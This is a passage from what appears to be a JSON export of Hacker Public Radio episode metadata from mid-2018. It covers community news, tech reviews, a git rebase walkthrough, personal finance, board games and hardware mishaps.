                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2018-May/thread.html\n\n\n

                                                            Any other business

                                                            \n

                                                            Website changes

                                                            \n

                                                            There have been two changes to the HPR website in May:

                                                            \n
                                                              \n
                                                            • The tags for a show are now being displayed in the header of each show page

                                                            • \n
                                                            • A fault in the comment display code, which resulted in comments containing the percent sign (%) not to be displayed, has been corrected.

                                                            • \n
                                                            \n

                                                            Tags and Summaries

                                                            \n

                                                            Thanks to Windigo for sending in updates in the past month.

                                                            \n

                                                            Over the period tags and/or summaries have been added to 2 shows which were missing them.

                                                            \n

                                                            If you would like to contribute to the tag/summary project visit the summary page at https://hackerpublicradio.org/report_missing_tags.php and follow the instructions there.

                                                            \n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":2567,"date":"2018-06-05","title":"Son of Hunky Punk","duration":269,"summary":"I follow-up on my Frotz episode by covering Son of Hunky Punk, a Z-machine interpreter for Android.","notes":"

                                                            I follow-up on my Frotz episode by covering Son of Hunky Punk, a Z-machine interpreter for Android. I also test my copy of ZORK I to see if it works as well as it did on Frotz.

                                                            \n

                                                            Links:

                                                            \n\n

                                                            Contact:

                                                            \n
                                                              \n
                                                            • IRC: claudiom (#oggcastplanet on Freenode)
                                                            • \n
                                                            • E-mail: claudio (at) linuxbasement (dot) com
                                                            • \n
                                                            \n","hostid":152,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Interactive Fiction,interpreter,Android,Son of Hunky Punk,Hunky Punk","version":0,"downloads":0,"valid":1}, {"id":2568,"date":"2018-06-06","title":"Personal finance","duration":3282,"summary":"How to manage personal finances.","notes":"

                                                            Personal finances

                                                            \n

                                                            Problem

                                                            \n

                                                            People need to save for retirement. But how do we do that?

                                                            \n

                                                            Conventional wisdom in the USA says that Social Security is your retirement fund.

                                                            \n

                                                            There's no guarantee that will still be around when you retire, and it's entirely out of your hands. It maybe a good bonus, but possibly it isn't something to rely on.

                                                            \n

                                                            So how do we do it?

                                                            \n

                                                            They don't teach you this stuff in school

                                                            \n

                                                            People say you should save for retirement, but they forget to say how.

                                                            \n

                                                            Currently, there are two de facto methods of funding retirement in the USA:

                                                            \n
                                                              \n
                                                            • social security: abstract, not guaranteed. Assumes you start contributing to ssn early
                                                            • \n
                                                            • 401k. abstract, indirect unless you take active role in tracking it. best if you start early.
                                                            • \n
                                                            \n

                                                            In other countries, there may be significant alternatives. For instance, Kiwisaver in New Zealand.

                                                            \n

                                                            These methods are OK, but difficult for you to interact with directly.

                                                            \n

                                                            There are two direct levels of investment:

                                                            \n
                                                              \n
                                                            1. At your bank: CDs and mutual funds
                                                            2. \n
                                                            \n
                                                              \n
                                                            • Go to your bank, ask to invest in a mutual fund or Certificate of Deposit (CD)
                                                            • \n
                                                            \n
                                                              \n
                                                            1. Stock market: your local market and the US market
                                                            2. \n
                                                            \n
                                                              \n
                                                            • what: direct investment in "publically traded" (whatever that means) companies
                                                            • \n
                                                            • how: https://etrade.com or https://fidelity.com
                                                            • \n
                                                            • In other countries, look for brokers who will invest your money in local or international markets
                                                            • \n
                                                            \n","hostid":78,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"money, finance, life","version":0,"downloads":0,"valid":1}, {"id":2569,"date":"2018-06-07","title":"Pandemic: Reign of Cthulu board game review","duration":1140,"summary":"Klaatu reviews a board game","notes":"

                                                            Pandemic Reign of Cthulu\n

                                                            \nPandemic original edition\n

                                                            \n

                                                            Mods can be found online. For instance: fractuslearning.com/pandemic-board-game

                                                            \n\n","hostid":78,"series":95,"explicit":0,"license":"CC-BY-SA","tags":"game,tabletop","version":0,"downloads":0,"valid":1}, {"id":2570,"date":"2018-06-08","title":"Penguicon 2018 Report","duration":987,"summary":"Penguicon 2018 took place on May 4-6, 2018 in Southfield, Michigan","notes":"

                                                            Penguicon 2018 is a combined technology and science fiction convention in Southfield, Michigan, a suburb of Detroit, and presents over 500 hours of programming over the entire weekend. Of this, around 100 hours are open source, tech-related. In this episode I tell you about my own personal experience at Penguicon this year.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":96,"explicit":0,"license":"CC-BY-SA","tags":"Penguicon 2018","version":0,"downloads":0,"valid":1}, {"id":2571,"date":"2018-06-11","title":"Kill Dr. Lucky","duration":1168,"summary":"Klaatu reviews a board game","notes":"

                                                            Details about Kill Doctor Lucky on Paizo.com.

                                                            ","hostid":78,"series":95,"explicit":0,"license":"CC-BY-SA","tags":"game,tabletop","version":0,"downloads":0,"valid":1}, {"id":2572,"date":"2018-06-12","title":"What's in my tool kit","duration":342,"summary":"Listing of items I carry for daily use","notes":"\n

                                                            If I expand the definition of tool kit to include the tool box on my pickup truck, I also have...

                                                            \n
                                                              \n
                                                            • 10' telephone cord
                                                            • \n
                                                            • analogue telephone (princes style) for testing
                                                            • \n
                                                            • 3 spare usb keyboards 1 spare ps/2 keyboards
                                                            • \n
                                                            • 2 usb mice
                                                            • \n
                                                            • 2x 6' dvi-d cables
                                                            • \n
                                                            • adjustable wrench
                                                            • \n
                                                            • pliers
                                                            • \n
                                                            • needle nose pliers
                                                            • \n
                                                            • craftsman precision screwdriver set
                                                            • \n
                                                            • X-acto knife set

                                                            • \n
                                                            • socket set
                                                            • \n
                                                            • Ratchet straps
                                                            • \n
                                                            • 50' cotton bond rope 1/2" diameter
                                                            • \n
                                                            • 50' nylon 1/2" rope
                                                            • \n
                                                            • 7'x 8' medium weight tarp
                                                            • \n
                                                            • Fluke #117 multimeter
                                                            • \n
                                                            • Fluke Link runner AT 1000
                                                            • \n
                                                            • and toner probe
                                                            • \n
                                                            • machete
                                                            • \n
                                                            • jumper cables
                                                            • \n
                                                            • analog linemans handset/ butt set (harris TS30)

                                                            • \n
                                                            \n","hostid":365,"series":23,"explicit":1,"license":"CC-BY-SA","tags":"daily carry, toolkit","version":0,"downloads":0,"valid":1}, {"id":2573,"date":"2018-06-13","title":"Foundations of git rebase","duration":1229,"summary":"Klaatu talks about git rebase","notes":"

                                                            A git rebase is like a git merge done through rose-coloured glasses.

                                                            \n\n

                                                            \nYou can see it for yourself by doing this little experiment. Assuming the alice directory is a valid git repository:\n

                                                            \n\n
                                                            $ cd alice\n$ echo \"foo\" >> rebase.episode\n$ git add rebase.episode ; git commit -m 'begin rebase episode'\n$ git checkout -b monsters\n\n$ git branch\n* monsters\nmaster\n$ echo \"ghoul\" >> ghoul.txt\n$ git add ghoul.txt ; git commit -m 'ghoul'\n$ git checkout master\n$ echo \"rogue\" >> rogue.txt\n$ git add rogue.txt ; git commit -m 'rogue'\n\n$ git checkout monsters\n$ echo \"dragon\" >> dragon.txt\n$ git add dragon.txt ; git commit -m 'dragon'\n\n$ git checkout master\n$ echo \"paladin\" >> paladin.txt\n$ git add paladin.txt ; git commit -m 'paladin'\n
                                                            \n\n

                                                            \nYou have now emulated a bunch of activity on two separate branches of a git repository.\nCreate a copy of the repo so that you can perform two separate git actions.\n

                                                            \n\n
                                                            $ cd ..\n$ cp -r alice alice-merge\n$ cp -r alice alice-base\n
                                                            \n\n

                                                            \nDo an honest merge:\n

                                                            \n\n
                                                            $ cd alice-merge\n$ git checkout master\n$ git merge monsters\n
                                                            \n\n

                                                            \nThe log shows you an accurate representation what got merged, and how all those changes came to be:\n

                                                            \n\n
                                                            $ git log --oneline\n123456 Merged monsters into master\n789101 paladin\n112131 dragon\n415161 rogue\n718191 ghoul\n7ef217 begin rebase episode\n
                                                            \n\n

                                                            \nNow perform a rebase.\n

                                                            \n\n
                                                            $ cd ../alice-base\n$ git checkout master\n$ git rebase monsters\n
                                                            \n\n

                                                            \nThe log displays a different story than what really happened.\n

                                                            \n\n
                                                            123456 Merged monsters into master\n8e9122 paladin\n21d163 rogue\n912a3f dragon\n51c098 ghoul\n7ef217 begin rebase episode\n
                                                            \n\n

                                                            \nBetter? Worse? YOU DECIDE!\n

                                                            \n\n","hostid":78,"series":81,"explicit":0,"license":"CC-BY-SA","tags":"git,rebase,merge","version":0,"downloads":0,"valid":1}, {"id":2574,"date":"2018-06-14","title":"Personal cash-only finance","duration":1800,"summary":"Klaatu discusses the advantages and disadvantages of going [mostly] cash-only","notes":"

                                                            Klaatu discusses the advantages and disadvantages of going [mostly] cash-only

                                                            \n","hostid":78,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"money, finance, life","version":0,"downloads":0,"valid":1}, {"id":2575,"date":"2018-06-15","title":"Quick Tips June 2018","duration":826,"summary":"I go over a few quick tips for June","notes":"
                                                              \n
                                                            • sites that required two factor tips
                                                            • \n
                                                            • Referb your can opener
                                                            • \n
                                                            • Referb your powerwheels
                                                            • \n
                                                            • Humidifier filter DIY
                                                            • \n
                                                            • free anonymous email over TOR
                                                            • \n
                                                            ","hostid":36,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"QuickTips","version":0,"downloads":0,"valid":1}, {"id":2576,"date":"2018-06-18","title":"My swedish and german podcasts part 1","duration":335,"summary":"I'm recommending 6 podcasts in swedish and german","notes":"","hostid":309,"series":75,"explicit":0,"license":"CC-BY-SA","tags":"podcasts,swedish,german,language,media,europe","version":0,"downloads":0,"valid":1}, {"id":2577,"date":"2018-06-19","title":"Emigration","duration":1855,"summary":"Howto emigrate","notes":"

                                                            Confused about leaving your homeland for <strike>greener</strike> pastures? Maybe this episode will shed some light on the subject.

                                                            \n\n

                                                            Public domain music from archive.org. Can you find your national anthem? Do you know all the words to your national anthem? Either way, you should be ashamed of yourself.

                                                            ","hostid":78,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Emigration,visa,permanent residency,citizenship","version":0,"downloads":0,"valid":1}, {"id":2578,"date":"2018-06-20","title":"LinuxLUGcast 102 the lost episode","duration":13976,"summary":"LinuxLUGcast episode 102. The lost episode.","notes":"

                                                            \nThis was episode 102 of the LinuxLUGcast.\n
                                                            \nSo the LinuxLUGcast is an open podcast/LUG that meets every first and third friday of the month using mumble. This method of running a podcast leaves it open to anyone showing up (which is what we want because it gets difficult for fiftyonefifty and I to come up with topics all the time). We have also gotten the reputation of being a safe for work podcast. This is why episode 102 is being posted here. Between the not safe for work language and the fact that after a few drinks during the podcast I get a little rambly we thought it best not to publish it on the regular LinuxLUGcast feed, but I thought there was some good conversation here that would be lost if it did not go somewhere. After some discussion we at the LinuxLUGcast decided that we would publish it here so that it could be heard by the HPR community.\n
                                                            \nWe have also done some website remodeling which has screwed up the .ogg feed, and wanted to let people know that we are still podcasting and to please check out\nhttps://www.linuxlugcast.com/ for the new .ogg feed.\n
                                                            \nEnjoy\n

                                                            \n

                                                            \np.s. please forgive my rambling\n

                                                            \n","hostid":269,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"linux, computing","version":0,"downloads":0,"valid":1}, {"id":2579,"date":"2018-06-21","title":"Ubuntu 18.04 Mate","duration":620,"summary":"This is a short show on installing the latest Ubuntu 18.04 onto a laptop and desktop PC","notes":"

                                                            Ubuntu Mate 18.04

                                                            \n

                                                            Good day to all you HPR Listers. Sorry that its been a while since I recorded a show, but as they say life has got in the way over the last few months, and I've spent quite a bit of it away from the home front.

                                                            \n

                                                            As it happens on one of those trips away my laptop running Mint Mate 18.3 LTS, based on Ubuntu 16.04LTS decided that it wouldn't boot as it didn't recognise my account, and as I had not created a Root account I could not sign in and fix the issue, which was a corrupted configuration file in the users folder.

                                                            \n

                                                            As luck would have it I had just downloaded the latest Ubuntu Mate 18.04 .iso to try it as a live disc, so I had a boot disc that I could use to boot the laptop and access the data to rescue all my important information which was mainly all my emails and my browser settings and bookmarks, as this is one of my travelling laptops not much of importance is permanently stored on it, so it didn't take long and I was ready to reinstall the OS to the PC. Just in case I had missed some important data on the current SSD, as I had a spare SSD with me in the bag, yes I'm geeky enough to carry a spare SSD or 2 in the bag. So I dug it out and installed it into the PC, which by the way is a Dell Latitude E6540 with an i5 dual core mobile chip with hyper-threading. It's currently running 4Gig DDR3 RAM but can run up to 16Gig in the 2 slots it has.

                                                            \n

                                                            So I booted the laptop with the USB boot disc I had created and as with all recent Ubuntu releases you get a screen asking if you want to try or install the OS, as I needed a working PC I went straight to the install option. For those not familiar with Linux or Ubuntu, the installer is a joy to use and very friendly to new users. As this was a first install to this SSD the only option I had was a full install which I chose, then was asked if I wanted to do the default install which partitions the drive and installs the bootloader automatically without any further need for intervention or did I want to do a custom partition arrangement. As the default is adequate for my needs I chose this and clicked continue. During this process you also get the option of a minimal or full installation, the minimal installation gets you a running PC with the basic utilities and leaves you to chose what to install later, but as I use the software that would be omitted I chose the full install. You get asked a final time if you are sure you want to install, with a warning that all current data on the disc will be wiped, as I was happy I clicked proceed. At this point the install starts and you are taken through setting up your PC configuration for language, keyboard, and user account. By the time I had completed this, the install was half completed and the whole process took less than 15 minutes.

                                                            \n

                                                            After the install is complete you get the message to reboot the PC and eject the boot media to reboot into the new install, on first boot you will either be presented with the login screen or go straight to the desktop depending on the choices you made during the install. Once you are at the desktop for the first time you are presented with a wallpaper of the Ubuntu Mate logo and 2 panels one at the top and one at the bottom of the screen. The top one has for those more traditional Linux and Windows users all the information you would expect on the lower panel, such as the menu, notification area etc. As I'm more traditional in my use of a PC I quickly set up the lower panel with the Advanced Mate Menu and other notification apps such as network, clock and calendar and then deleted the other panel, but obviously this is a personal preference - go with what you find comfortable.

                                                            \n

                                                            The next step after connecting to the local WiFi was to install any updates, which despite this release only being a few days old there were a few, but this didn't take long and in less than an hour, which included backing up and swapping out the SSD I had a fully working laptop running Ubuntu 18.04 Mate.

                                                            \n

                                                            So there are a few bits of software not included by default in Ubuntu which I use regularly, one of which is synaptic so I opened the terminal and a sudo apt install synaptic later I had the package manager on the PC. You may ask why, but the software Boutique doesn't seem to have all the software available in the repositories and I don't always know the appropriate name of software I'm looking for to use the terminal all the time, so synaptic is a tool I use a lot. The next software that gets installed is Audacity as I use this for editing audio and sometimes extracting the audio stream from videos of the internet, most importantly for HPR listeners it is what I use to record and edit my HPR shows.

                                                            \n

                                                            So back to Ubuntu 18.04 Mate, I've been running it for a month on the laptop and about 3 weeks on my main box and as you would expect from a LTS (long term support until 2023) it's very solid and stable, I had a glitch transferring my e mails into Thunderbird on my main box, it had worked flawlessly on the laptop, so I ended up having to reinstall from scratch and on the second install it went perfectly, I think it was down to the way I set up Thunderbird which screwed things up, not the OS, but it's all fine now and I didn't lose anything in the process. For me coming from Mint there are a couple of utilities the Mint developers have implemented that are not available in Ubuntu, but nothing I can't work around. Saying that, if there are any Ubuntu developers out there, the Mint USB drive formatter and USB boot disc creation utilities are nice and simple to use but not available in the Ubuntu repositories.

                                                            \n

                                                            Obviously I've only had limited time to get to use the new OS but so far it doesn't seem too bad coming back to the mother ship so to speak from several years of using Mint Mate, virtually since its inception, but as I record this there has been nothing that has made me feel I need to rush and reinstall Mint, so I'll continue with Ubuntu Mate 18.04 at least until the new Mint19 based on this Ubuntu release comes out.

                                                            \n

                                                            https://ubuntu-mate.org/download/

                                                            \n","hostid":338,"series":57,"explicit":0,"license":"CC-BY-SA","tags":"Linux, Ubuntu","version":0,"downloads":0,"valid":1}, {"id":2580,"date":"2018-06-22","title":"Diabetes","duration":841,"summary":"This is the story of how I became diabetic and what I did about it.","notes":"

                                                            For the last 15 years or so Diabetes has been a central fact in my life, and I needed to learn what to do about it. I think I discovered a way I can live with it and still have a good quality of life

                                                            \n\n","hostid":198,"series":100,"explicit":0,"license":"CC-BY-SA","tags":"Health, Medicine, Diabetes","version":0,"downloads":0,"valid":1}, {"id":2581,"date":"2018-06-25","title":"My new 3D printer - impressions of the Creality Ender 3","duration":1239,"summary":"I bought a Creality Ender 3 3D printer in June 2018. Here are my first impressions of it","notes":"

                                                            My new 3D printer - impressions of the Creality Ender 3

                                                            \n

                                                            Introduction

                                                            \n

                                                            I have been thinking of buying a 3D printer for a year or so. I had thought of getting a Prusa i3 MK3 in kit form, but although it's cheaper than the built form this printer is not cheap, and I doubted my ability to build it. I was also unsure whether there was a real need for the capabilities of a 3D printer in my life, and whether such a purchase was justified.

                                                            \n

                                                            I had noticed the Chinese Creality CR10 printer in the recent past, and wondered about buying one of these at about half the price of the Prusa. This is a good-sized printer which comes fully-assembled as I understand, and it has had many good reviews.

                                                            \n

                                                            When the Creality Ender 3 was released in April 2018 for around half the price of the CR10 it looked worth the risk to see if I really needed a 3D printer. So I bought one (from Amazon) in June.

                                                            \n

                                                            As I write this (2018-06-10) it's been less than a week since it was delivered, so this is a very preliminary look at the printer.

                                                            \n

                                                            Long notes

                                                            \n

                                                            For the rest of the notes for this episode look here.

                                                            \n

                                                            Links

                                                            \n\n","hostid":225,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"3D printer","version":0,"downloads":0,"valid":1}, {"id":2582,"date":"2018-06-26","title":"3 Contribution case studies","duration":2699,"summary":"How easy is it for your potential contributors to contribute?","notes":"

                                                            How easy is it for your potential contributors to contribute?\nKlaatu looks at three open source and open culture projects to determine how easy they make it for your potential contributors to contribute?\n

                                                            ","hostid":78,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"FLOSS contributions","version":0,"downloads":0,"valid":1}, {"id":2583,"date":"2018-06-27","title":"Random Rant","duration":917,"summary":"Rant on how US sound recordings copyright laws are weird & how I miss Juiced Penguin","notes":"

                                                            Citations

                                                            \n\n","hostid":354,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Juiced Penguin,copyright,public domain","version":0,"downloads":0,"valid":1}, {"id":2584,"date":"2018-06-28","title":"Plot Twists In Storytelling","duration":719,"summary":"Lostnbronx examines plot twists, including the different types, and how they can be used.","notes":"

                                                            Plot twists come in several varieties, and can produce different effects in stories. They can be powerful tools, done correctly, but quickly become trite and predictable if over-used, or used poorly. What's the best way to include them? And when might it be a mistake to even try?

                                                            ","hostid":107,"series":105,"explicit":0,"license":"CC-0","tags":"storytelling,plot twists,lostnbronx","version":0,"downloads":0,"valid":1}, {"id":2585,"date":"2018-06-29","title":"Check to see if a Remote Control is working","duration":99,"summary":"Yet another amazing life hack from Ken","notes":"

                                                            \nEver have a remote control that didn't seem to be working ? With this AMAZING LIFE HACK you can see the unseen

                                                            \n

                                                            \n\nOK all it is is looking at the remote using your camera - but still...\n\n

                                                            \n","hostid":30,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"remote control, life hack","version":0,"downloads":0,"valid":1}, {"id":2586,"date":"2018-07-02","title":"HPR Community News for June 2018","duration":3510,"summary":"HPR Volunteers talk about shows released and comments posted in June 2018","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nThere were no new hosts this month.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
                                                            IdDayDateTitleHost
                                                            2565Fri2018-06-01HPR 2017 New Years Eve show part 7Various Creative Commons Works
                                                            2566Mon2018-06-04HPR Community News for May 2018HPR Volunteers
                                                            2567Tue2018-06-05Son of Hunky PunkClaudio Miranda
                                                            2568Wed2018-06-06Personal financeklaatu
                                                            2569Thu2018-06-07Pandemic: Reign of Cthulu board game reviewklaatu
                                                            2570Fri2018-06-08Penguicon 2018 ReportAhuka
                                                            2571Mon2018-06-11Kill Dr. Luckyklaatu
                                                            2572Tue2018-06-12What's in my tool kitbookewyrmm
                                                            2573Wed2018-06-13Foundations of git rebaseklaatu
                                                            2574Thu2018-06-14Personal cash-only financeklaatu
                                                            2575Fri2018-06-15Quick Tips June 2018operat0r
                                                            2576Mon2018-06-18My swedish and german podcasts part 1folky
                                                            2577Tue2018-06-19Emigrationklaatu
                                                            2578Wed2018-06-20LinuxLUGcast 102 the lost episodeHonkeymagoo
                                                            2579Thu2018-06-21Ubuntu 18.04 MateTony Hughes AKA TonyH1212
                                                            2580Fri2018-06-22DiabetesAhuka
                                                            2581Mon2018-06-25My new 3D printer - impressions of the Creality Ender 3Dave Morriss
                                                            2582Tue2018-06-263 Contribution case studiesklaatu
                                                            2583Wed2018-06-27Random RantTheDUDE
                                                            2584Thu2018-06-28Plot Twists In Storytellinglostnbronx
                                                            2585Fri2018-06-29Check to see if a Remote Control is workingKen Fallon
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.
                                                            \nThere are 20 comments in total.

                                                            \n

                                                            There are 10 comments on\n7 previous shows:

                                                            \n
                                                            • hpr1992\n(2016-03-22) \"How I'm handling my podcast-subscriptions and -listening\"\nby folky.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nfolky on 2018-06-07:\n\"Changed links to my gits\"

                                                              \n
                                                            • hpr2158\n(2016-11-09) \"Art Club\"\nby Brian in Ohio.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nMathMann on 2018-06-05:\n\"Art Club\"

                                                              \n
                                                            • hpr2542\n(2018-05-01) \"How I helped my dad run a static website using SparkleShare\"\nby clacke.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nclacke on 2018-06-15:\n\"What is SparkleShare?\"

                                                              \n
                                                            • hpr2552\n(2018-05-15) \"What is stow?\"\nby clacke.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nclacke on 2018-06-15:\n\"Clarification\"

                                                              \n
                                                            • hpr2557\n(2018-05-22) \"Styx -- The Purely Functional Static Site Generator\"\nby clacke.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nclacke on 2018-06-15:\n\"Killer feature\"

                                                              \n
                                                            • hpr2558\n(2018-05-23) \"Battling with English - part 1\"\nby Dave Morriss.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nMichael on 2018-06-14:\n\"Great idea!\"
                                                              • \n
                                                              • \nComment 2:\nDave Morriss on 2018-06-14:\n\"Thanks Michael\"
                                                              • \n
                                                              • \nComment 3:\nHipstre on 2018-06-15:\n\"Battling With English\"
                                                              • \n
                                                              • \nComment 4:\nDave Morriss on 2018-06-15:\n\"Thanks Hipstre\"

                                                              \n
                                                            • hpr2562\n(2018-05-29) \"I bought a laptop\"\nby clacke.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nclacke on 2018-06-15:\n\"Pinebook\"

                                                              \n
                                                            \n

                                                            There are 10 comments on 7 of this month's shows:

                                                            \n
                                                            • hpr2566\n(2018-06-04) \"HPR Community News for May 2018\"\nby HPR Volunteers.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nclacke on 2018-06-15:\n\"The group of the tab is in the windowing (of it)\"
                                                              • Comment 2:\nDave Morriss on 2018-06-15:\n\"I don't use multiple windows\"

                                                              \n
                                                            • hpr2568\n(2018-06-06) \"Personal finance\"\nby klaatu.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nnorrist on 2018-06-11:\n\"Receint pocdast on US Social Security\"

                                                              \n
                                                            • hpr2574\n(2018-06-14) \"Personal cash-only finance\"\nby klaatu.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nJWP on 2018-06-25:\n\"This Show about Cash\"

                                                              \n
                                                            • hpr2576\n(2018-06-18) \"My swedish and german podcasts part 1\"\nby folky.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen Fallon on 2018-06-19:\n\"Home country of choice\"
                                                              • Comment 2:\nClinton Roy on 2018-06-19:\n\"A english/german recommendation\"
                                                              • Comment 3:\nfolky on 2018-06-20:\n\"Here is the link\"

                                                              \n
                                                            • hpr2579\n(2018-06-21) \"Ubuntu 18.04 Mate\"\nby Tony Hughes AKA TonyH1212.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nJWP on 2018-06-25:\n\"Great Little update\"

                                                              \n
                                                            • hpr2582\n(2018-06-26) \"3 Contribution case studies\"\nby klaatu.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen Fallon on 2018-06-27:\n\"Would love HPR feedback\"

                                                              \n
                                                            • hpr2585\n(2018-06-29) \"Check to see if a Remote Control is working\"\nby Ken Fallon.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nNYbill on 2018-06-29:\n\"There is one more...\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2018-June/thread.html\n\n\n

                                                            Any other business

                                                            \n

                                                            Workflow changes

                                                            \n

                                                            There has been a change to the HPR workflow this month:

                                                            \n
                                                              \n
                                                            • Earlier in 2018 a change was made to the database to add an additional version of the host name. This is intended to be spoken by espeak and can hold an alternative spelling which espeak handles better in the audio preamble of shows. In this way the name 'thelovebug', for example, which espeak renders as "Thel Ove Bug" can be stored as 'TheLoveBug', which espeak pronounces correctly.

                                                            • \n
                                                            • The use of this field has now been incorporated into the workflow.

                                                            • \n
                                                            • Many of these "espeak names" were changed in the database, but we probably haven't catered for them all. If your name is being mispronounced by espeak let us know and we'll try and fix it.

                                                            • \n
                                                            \n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":2587,"date":"2018-07-03","title":"Cleaning out your Digital Gutters","duration":1519,"summary":"Knightwise talks about being a geek and his quest to curate the library of his mind","notes":"

                                                            While cleaning out the gutters, Knightwise talks about cleaning out the digital gutters of his information consumption and looking for geeky ways to get his information fix.

                                                            \n","hostid":111,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"geek, life, lifestyle","version":0,"downloads":0,"valid":1}, {"id":2588,"date":"2018-07-04","title":"Miniature painting","duration":1740,"summary":"Tuula rambles about how to paint miniatures while painting some toy soldiers","notes":"

                                                            Tuula rambles about miniature painting while painting some ancient British units (horses for chariots to be specific) for De Bellis Antiquitatis.

                                                            \n","hostid":364,"series":114,"explicit":0,"license":"CC-BY-SA","tags":"miniatures painting","version":0,"downloads":0,"valid":1}, {"id":2589,"date":"2018-07-05","title":"Saving Money: a response to Klaatu's Personal Finance Series","duration":867,"summary":"A response to Klaatu's very nice series about personal finance.","notes":"

                                                            Links

                                                            \n\n\n","hostid":238,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"personal finance, money, saving, retirement","version":0,"downloads":0,"valid":1}, {"id":2590,"date":"2018-07-06","title":"Blowing a PC Power Supply","duration":229,"summary":"Just a short show on how I managed to blow the power supply on my desktop PC","notes":"

                                                            Greetings Hacker Public Radio listeners, Tony Hughes again coming all the way from Blackpool in the North West of the UK. Originally this show was going to be about some new kit that I have recently bought at my favourite computer auction. However as luck or actually bad luck should have it I fried the power supply on my Desktop machine yesterday as I was setting it up again after moving back to my office.

                                                            \n

                                                            The PC is a HP Compaq Elite 8300 micro Desk top tower with a i7 3rd generation 3770 3.4Ghz CPU and since upgrades now has 16Gig Ram and a Primary 256Gig SSD. This is my daily driver and I've been running it for a couple of years since I bought it at the said auction. It is the best PC I've ever owned; the full specifications are here:

                                                            \n

                                                            https://www.cnet.com/products/hp-compaq-elite-8300-cmt-core-i7-3770-3-4-ghz-4-gb-1-tb-b2d12utaba/specs/

                                                            \n

                                                            As I said I was re setting up my full rig after moving it back to the office upstairs after a temporary move while we had a house guest. As I was plugging in the power cable there was a flash and crack, and a few expletives were uttered, sure enough when I switched of the power at the plug and reconnected the power cable and then tried to power on the PC, it was dead. I was hoping that it was the power supply that had blown and as I had a spare I was not too concerned. However on investigation HP have done the dirty with the design of the motherboard and power supply and neither are standard ATX configuration, yes propriety hardware for this baby.

                                                            \n

                                                            I was lucky as a few months ago I had picked up a i3 HP using the same case, so I pulled out the power supply from this and fitted it into the i7 PC and luckily that did turn out to be the issue, and the PC sprang into life when I hit the power button. I’m now left with a PC that works, but another one that unless I can find a power supply to match is next to useless except for spares.

                                                            \n

                                                            Lessons learned, never connect the power cable when the socket is live, if your plug socket doesn't have a switch connect the kettle end to the PC first to reduce the risk of a short like mine. Also never assume that 2nd hand PC’s are standard case/motherboard format as you may have a problem sourcing spares if anything goes wrong as in my case. It’s not the first PC disaster I've had over the years and I can as in this case usually get round them, although not when I bricked the BIOS on a Lenovo x200 one time trying to clear a BIOS password, again I was left with a box of spares which actually came in very handy.

                                                            \n

                                                            Well that's the end of my tale of woe. I’ll do another episode on the recent trip to the auction and my new laptops shortly. This is Tony Hughes for Hacker Public Radio signing off for now.

                                                            \n","hostid":338,"series":57,"explicit":0,"license":"CC-BY-SA","tags":"Computers, Repair, safety","version":0,"downloads":0,"valid":1}, {"id":2591,"date":"2018-07-09","title":"International Troubleshooting","duration":1815,"summary":"NYbill troubleshoots a DIY kit of Ken Fallon’s.","notes":"

                                                            NYbill troubleshoots a DIY kit of Ken Fallon's.

                                                            \n

                                                            The new toy:

                                                            \n

                                                            AmScope SE400-Z
                                                            \n(The microscope has a nice working height underneath it so you can get your hands and tools in there.)

                                                            \n

                                                            The offending chip:

                                                            \n

